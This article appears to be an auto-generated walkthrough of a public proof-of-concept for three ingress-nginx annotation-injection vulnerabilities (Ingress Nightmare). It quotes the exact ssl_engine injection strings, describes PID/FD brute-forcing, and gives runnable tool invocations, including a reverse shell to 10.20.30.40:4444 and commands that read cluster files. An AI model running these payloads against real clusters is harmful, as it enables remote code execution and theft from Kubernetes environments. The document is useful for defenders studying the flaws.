How CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 Are Exploited via Ingress Nightmare
Ingress Nightmare exploits three critical vulnerabilities in the kubernetes/ingress-nginx controller by injecting malicious NGINX configuration directives through annotations, causing the admission webhook to load attacker-controlled shared objects via the ssl_engine directive during configuration validation.
The esonhugh/ingressnightmare-cve-2025-1974-exps repository implements a complete proof-of-concept that demonstrates how CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 enable remote code execution inside NGINX ingress controller pods. This analysis examines the source code to reveal the unified exploitation pipeline shared by all three vulnerabilities.
The Unified Exploitation Pipeline
All three CVEs leverage an identical three-stage attack chain that abuses the ingress-nginx admission controller’s configuration validation process. According to the repository source code, the exploitation flow works as follows:
- Upload a malicious shared object (
danger.so) to the NGINX pod via the ingress-nginx "upload" endpoint - Inject a malicious annotation containing an
ssl_enginedirective into an AdmissionReview request - Trigger NGINX configuration validation (
nginx -t) which loads the shared object as an SSL engine and executes the payload
The specific vulnerability being exploited depends on which annotation carries the malicious payload, controlled via mutually exclusive CLI flags in main.go【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/main.go#L87-L93】.
Step-by-Step Technical Breakdown
Step 1: Malicious Shared Object Upload
The exploit begins by uploading a compiled ELF library to the target pod. In nginx-ingress/exploit.go, the BadUploader() and UploadThread() functions handle this delivery【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L52-L85】.
The payload is embedded in the binary at compile time via payload.go → DefaultEvilLibrary(), which contains a byte slice of the compiled danger.so library【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L27-L33】. This shared object, compiled from danger.c, writes "Code Injected!" to NGINX stderr when loaded.
Step 2: AdmissionReview Template Injection
The tool renders a malicious AdmissionReview JSON payload using RenderValidateJSON() in nginx-ingress/exploit.go【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L39-L50】. This function processes the validate.json template, which contains three distinct injection points corresponding to each CVE:
- CVE-2025-24514:
auth-url: "http://example.com/#;}}}\n\nssl_engine foobar;\n\n"【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L46-L48】 - CVE-2025-1097:
auth-tls-match-cn: "CN=abc #(\n){}\n }}\nssl_engine foobar;\n#"【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L44-L46】 - CVE-2025-1098:
uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",combined with"mirror-target": "fake-mirror-target"【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L38-L44】
The template replaces the foobar placeholder with a path traversal string pointing to the uploaded file descriptor (../../../../../../proc/<pid>/fd/<fd>) or a specific filesystem path.
Step 3: Brute-Force PID/FD Discovery and Code Execution
The ValidateWebHook() function implements a brute-force loop over plausible PID ranges (default 5-40) and file descriptor ranges (default 3-26)【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L59-L84】. When the admission controller executes nginx -t to validate the injected configuration, the ssl_engine directive references the uploaded shared object, causing NGINX to load and execute the attacker's code inside the controller pod.
Detection logic in ValidateWebhookSpecificFilePath() confirms success by searching for the "Code Injected!" string in the AdmissionReview response【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L104-L124】.
CVE-Specific Attack Vectors
CVE-2025-24514: auth-url Annotation Injection
This vulnerability abuses the nginx.ingress.kubernetes.io/auth-url annotation. When the --is-auth-url flag is set (enabled by default), the tool injects the ssl_engine directive into the auth-url template variable. The ingress-nginx controller processes this annotation during admission validation, triggering the shared object load when parsing the authentication URL configuration.
CVE-2025-1097: auth-tls-match-cn Annotation Injection
Activated by the --is-match-cn flag, this vector targets the nginx.ingress.kubernetes.io/auth-tls-match-cn annotation. The exploit crafts a Common Name string containing newlines and closing braces to break out of the NGINX configuration template context, injecting the ssl_engine directive that references the uploaded payload.
CVE-2025-1098: mirror-target and uid Field Injection
Enabled via --is-mirror-with-uid, this method targets the mirroring functionality. The attack requires both a mirror-target annotation and a malicious uid field containing the ssl_engine injection. The ingress-nginx mirror module parses the uid parameter, allowing the attacker to smuggle the configuration directive through a field typically used for request identification.
Payload Generation and Modes
The nginx-ingress/payload.go file provides three payload constructors that modify the embedded danger.so library at runtime:
- Reverse shell:
NewReverseShellPayload()replaces placeholders with attacker IP and port【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L46-L71】 - Bind shell:
NewBindShellPayload()configures a listening port inside the compromised pod【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L74-L90】 - Command execution:
NewCommandPayload()executes arbitrary shell commands【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L92-L101】
The main.go switch statement routes the selected mode to the appropriate payload generator【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/main.go#L11-L24】.
Practical Exploitation Examples
Exploiting CVE-2025-24514 (Default auth-url method)
./ingressnightmare \
-m r \
-r 10.20.30.40 \
-p 4444 \
-i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
-u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80
This command uses the default --is-auth-url flag to inject via the auth-url annotation, delivering a reverse shell to 10.20.30.40:4444.
Exploiting CVE-2025-1097 (auth-tls-match-cn)
./ingressnightmare \
-m c -c "id > /tmp/pwned" \
-i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
-u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
--is-match-cn \
--auth-secret-name kube-system/cilium-ca
The --is-match-cn flag switches the injection target to the auth-tls-match-cn annotation, requiring a valid TLS secret reference via --auth-secret-name.
Exploiting CVE-2025-1098 (mirror-uid)
./ingressnightmare \
-m c -c "cat /etc/kubernetes/pods > /tmp/pods" \
-i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
-u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
--is-mirror-with-uid
The --is-mirror-with-uid flag enables the mirror-target and uid injection vector for environments where the other annotations may be restricted.
Dry-Run Mode for Payload Verification
./ingressnightmare -m c -c "id" \
-i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
-u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
--dry-run
Use --dry-run to inspect the rendered AdmissionReview JSON without executing the attack, verifying the foobar placeholder replacement.
Summary
- Ingress Nightmare chains three annotation-based injection vulnerabilities (CVE-2025-24514, CVE-2025-1097, CVE-2025-1098) to achieve RCE in ingress-nginx controllers
- All exploits follow the same pipeline: upload
danger.soviaBadUploader(), inject viaRenderValidateJSON(), and trigger viaValidateWebHook() - The
ssl_enginedirective in malicious annotations forces NGINX to load the attacker-controlled shared object duringnginx -tvalidation - CVE-specific flags (
--is-auth-url,--is-match-cn,--is-mirror-with-uid) select the vulnerable annotation target invalidate.json - Payload types (reverse shell, bind shell, command) are generated by functions in
payload.goand embedded into the exploit binary
Frequently Asked Questions
How does the ingress-nginx admission controller validate Ingress resources?
The admission controller receives AdmissionReview requests from the Kubernetes API server and validates them by running nginx -t against a temporary configuration file generated from the Ingress resource. According to the source code in nginx-ingress/exploit.go, this validation process parses all annotations, including auth-url, auth-tls-match-cn, and mirror-related fields, which allows the ssl_engine directive injection to be processed.
What is the purpose of the foobar placeholder in the exploit?
The foobar placeholder in nginx-ingress/validate.json serves as a template variable that gets dynamically replaced by RenderValidateJSON() with a path traversal string pointing to the uploaded shared object. This placeholder is replaced with strings like ../../../../../../proc/<pid>/fd/<fd> to reference the file descriptor of the uploaded danger.so payload without knowing the absolute filesystem path in advance.
Can the exploit work without knowing the specific PID or file descriptor?
Yes, the implementation in nginx-ingress/exploit.go includes a brute-force mechanism that iterates through a range of probable process IDs (5-40) and file descriptors (3-26). The UploadThread() maintains the uploaded file open while ValidateWebHook() concurrently tests combinations until the "Code Injected!" confirmation appears, indicating the correct PID/FD combination was found and the payload executed.
What distinguishes the three CVEs if they use the same exploitation technique?
While all three CVEs share the same ssl_engine injection mechanism, they target distinct annotation parsing code paths within ingress-nginx. CVE-2025-24514 abuses the authentication URL annotation, CVE-2025-1097 targets the TLS client certificate Common Name matching, and CVE-2025-1098 exploits the request mirroring UID field. Each requires a different annotation structure and context to reach the vulnerable NGINX configuration template, as reflected in the three distinct template sections of validate.json.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →